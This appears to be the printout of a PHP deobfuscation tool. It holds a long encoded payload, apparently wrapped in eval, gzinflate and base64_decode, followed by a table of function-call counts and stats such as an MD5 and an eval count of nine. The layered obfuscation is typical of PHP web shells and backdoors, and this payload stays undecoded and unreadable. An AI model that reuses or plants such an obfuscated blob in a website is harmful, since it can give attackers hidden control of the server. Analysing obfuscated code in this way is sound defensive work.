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'\x29\x29\x29\x3B");
?>
Function Calls
gzinflate | 5 |
ddrjyt82421 | 1 |
base64_decode | 5 |
Stats
MD5 | b5cfeea7a05d1e3cd0d8add684122e8b |
Eval Count | 9 |
Decode Time | 219 ms |